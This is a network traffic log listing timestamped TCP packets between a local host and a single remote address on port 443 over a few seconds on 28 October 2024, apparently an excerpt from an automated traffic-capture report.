Oct 28, 2024 19:13:02.464276075 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.491565943 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.491583109 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.494015932 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.494029045 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.494983912 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.495017052 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.498922110 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.498945951 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.499166012 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.499180079 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.499520063 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.499524117 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.499694109 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.499708891 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.499717951 CET	59260	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.499722004 CET	443	59260	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.505214930 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.505248070 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.505265951 CET	59261	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.505274057 CET	443	59261	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.510996103 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.511048079 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.511109114 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.511640072 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.511657953 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.512818098 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.512855053 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.512907982 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.513104916 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.513114929 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.629956007 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.630242109 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.630299091 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.630548954 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.630568981 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.630578995 CET	59264	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.630584955 CET	443	59264	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.631015062 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.631169081 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.631215096 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.632900953 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.632910967 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.632925987 CET	59262	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.632930994 CET	443	59262	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.633958101 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.634018898 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.634066105 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.635873079 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.635922909 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.635991096 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.638863087 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.638887882 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.638902903 CET	59263	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.638910055 CET	443	59263	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.639955044 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.639976025 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.641594887 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.641608953 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.641669989 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.641827106 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.641839027 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.642191887 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.642231941 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:02.642287970 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.642381907 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:02.642400026 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.280956984 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.281588078 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.281615019 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.282087088 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.282092094 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.290714025 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.291122913 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.291157007 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.291711092 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.291723013 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.389928102 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.390490055 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.390552998 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.390964031 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.390974998 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.415488958 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.416218996 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.416235924 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.416846037 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.416848898 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.419462919 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.419636965 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.419755936 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.419812918 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.419835091 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.419866085 CET	59265	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.419872999 CET	443	59265	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.422744036 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.422770977 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.422842026 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.423007011 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.423018932 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.430520058 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.430830002 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.430982113 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.431039095 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.431039095 CET	59266	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.431066990 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.431108952 CET	443	59266	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.434189081 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.434243917 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.434345007 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.434463024 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.434484959 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.434778929 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.435230970 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.435265064 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.435704947 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.435712099 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.528062105 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.528100014 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.528151989 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.528160095 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.528203011 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.528558016 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.528589010 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.528605938 CET	59269	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.528614044 CET	443	59269	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.531724930 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.531773090 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.532049894 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.532233953 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.532248020 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.553868055 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.554048061 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.554765940 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.554991007 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.555006981 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.555017948 CET	59268	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.555022001 CET	443	59268	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.557754040 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.557797909 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.557991982 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.558144093 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.558162928 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.578593969 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.578773022 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.578905106 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.579010963 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.579032898 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.579047918 CET	59267	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.579056978 CET	443	59267	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.581918001 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.581969023 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:03.582679987 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.582844973 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:03.582854986 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.192349911 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.192930937 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.192946911 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.193440914 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.193444014 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.203747034 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.204256058 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.204284906 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.204705000 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.204714060 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.314055920 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.314676046 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.314713955 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.315186024 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.315193892 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.329581022 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.330152988 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.330223083 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.330285072 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.330296993 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.330310106 CET	59270	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.330313921 CET	443	59270	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.331110954 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.331696987 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.331727982 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.332181931 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.332186937 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.333595037 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.333683968 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.333785057 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.333920956 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.333942890 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.340536118 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.340976000 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.340993881 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.341449976 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.341454983 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.453980923 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.454025984 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.454083920 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.454098940 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.454204082 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.454473019 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.454523087 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.454556942 CET	59273	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.454572916 CET	443	59273	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.457617998 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.457665920 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.457719088 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.457911968 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.457922935 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.466726065 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.466753006 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.466801882 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.466820955 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.466911077 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.467087030 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.467087030 CET	59271	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.467128038 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.467154980 CET	443	59271	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.469953060 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.469995975 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.470072985 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.470242023 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.470254898 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.474720001 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.474805117 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.474992990 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.475019932 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.475037098 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.475052118 CET	59272	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.475056887 CET	443	59272	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.477694988 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.477730989 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.477788925 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.477917910 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.477927923 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.478338003 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.478403091 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.478482962 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.478482962 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.478574991 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.478574991 CET	59274	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.478579998 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.478581905 CET	443	59274	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.480957985 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.480969906 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:04.481038094 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.481156111 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:04.481165886 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.351922989 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.352510929 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.352550983 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.352677107 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.353043079 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.353054047 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.353132963 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.353161097 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.353532076 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.353535891 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.482366085 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.482923985 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.482969046 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.483417034 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.483423948 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.487143040 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.487196922 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.487659931 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.487673998 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.487694025 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.487715960 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.488127947 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.488132954 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.488284111 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.488290071 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.489115000 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.489492893 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.489573002 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.489625931 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.489625931 CET	59275	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.489650965 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.489665985 CET	443	59275	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.490601063 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.490755081 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.490813017 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.490912914 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.490926981 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.490936995 CET	59276	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.490945101 CET	443	59276	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.493505001 CET	59281	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.493541002 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.493571043 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.493598938 CET	59281	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.493654966 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.493701935 CET	59281	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.493715048 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.493737936 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.493889093 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.493921995 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.618736982 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.618768930 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.618818998 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.618832111 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.618868113 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.619124889 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.619153023 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.619164944 CET	59277	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.619169950 CET	443	59277	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.622328043 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.622390985 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.622500896 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.622648001 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.622679949 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.629010916 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.629103899 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.629297018 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.629332066 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.629343987 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.629354000 CET	59278	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.629359007 CET	443	59278	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.631532907 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.631570101 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.631721973 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.631834030 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.631844044 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.637758970 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.637931108 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.637989998 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.638036013 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.638041973 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.638050079 CET	59279	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.638052940 CET	443	59279	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.640320063 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.640338898 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:05.640405893 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.640507936 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:05.640518904 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.283210993 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.283826113 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.283859968 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.284296036 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.284303904 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.288544893 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.288913012 CET	59281	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.288924932 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.289313078 CET	59281	443	192.168.2.4	13.107.253.45
